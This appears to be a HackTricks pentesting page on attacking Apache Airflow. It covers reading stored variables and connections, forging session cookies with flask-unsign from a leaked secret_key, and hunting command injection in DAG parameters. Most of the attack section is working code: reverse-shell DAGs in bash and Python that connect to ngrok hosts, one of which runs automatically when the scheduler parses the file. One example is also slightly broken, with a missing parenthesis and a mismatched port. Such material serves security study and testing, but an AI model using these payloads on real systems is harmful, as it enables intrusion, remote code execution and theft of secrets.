Apache Airflow Security
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Apache Airflow is used for the scheduling and _orchestration of data pipelines or workflows. Orchestration of data pipelines refers to the sequencing, coordination, scheduling, and managing complex data pipelines from diverse sources. These data pipelines deliver data sets that are ready for consumption either by business intelligence applications and data science, machine learning models that support big data applications.
Basically, Apache Airflow will allow you to schedule de execution of code when something (event, cron) happens.
You can use the docker-compose config file from https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
One easy way to run apache airflow is to run it with minikube:
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command
# Use this command to delete it
helm delete airflow-release
Airflow might store sensitive information in its configuration or you can find weak configurations in place:
Before start attacking Airflow you should understand how permissions work:
If you have access to the web console you might be able to access some or all of the following information:
- Variables (Custom sensitive information might be stored here)
- Connections (Custom sensitive information might be stored here)
- Access them in
http://<airflow>/connection/list/
- List users & roles
- Code of each DAG (which might contain interesting info)
Variables can be stored in Airflow so the DAGs can access their values. It's similar to secrets of other platforms. If you have enough permissions you can access them in the GUI in
http://<airflow>/variable/list/.
Airflow by default will show the value of the variable in the GUI, however, according to this it's possible to set a list of variables whose value will appear as asterisks in the GUI.
However, these values can still be retrieved via CLI (you need to have DB access), arbitrary DAG execution, API accessing the variables endpoint (the API needs to be activated), and even the GUI itself!
****To access those values from the GUI just select the variables you want to access and click on Actions -> Export.
Another way is to perform a bruteforce to the hidden value using the search filtering it until you get it:
If the
expose_config configuration is set to True, from the role User and upwards can read the config in the web. In this config, the secret_key appears, which means any user with this valid they can create its own signed cookie to impersonate any other user account.flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
If you have write access to the place where the DAGs are saved, you can just create one that will send you a reverse shell.
Note that this reverse shell is going to be executed inside an airflow worker container:
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
If you set something to be executed in the root of the code, at the moment of this writing, it will be executed by the scheduler after a couple of seconds after placing it inside the DAG's folder.
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
If you manage to compromise a machine inside the DAG cluster, you can create new DAGs scripts in the
dags/ folder and they will be replicated in the rest of the machines inside the DAG cluster.When you execute a DAG from the GUI you can pass arguments to it.
Therefore, if the DAG is not properly coded it could be vulnerable to Command Injection.
That is what happened in this CVE: https://www.exploit-db.com/exploits/49927
All you need to know to start looking for command injections in DAGs is that parameters are accessed with the code
dag_run.conf.get("param_name").Moreover, the same vulnerability might occur with variables (note that with enough privileges you could control the value of the variables in the GUI). Variables are accessed with:
from airflow.models import Variable
[...]
foo = Variable.get("foo")
If they are used for example inside a a bash command, you could perform a command injection.
- If you want to see your company advertised in HackTricks or if you want access to the latest version of the PEASS or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
Last modified 4mo ago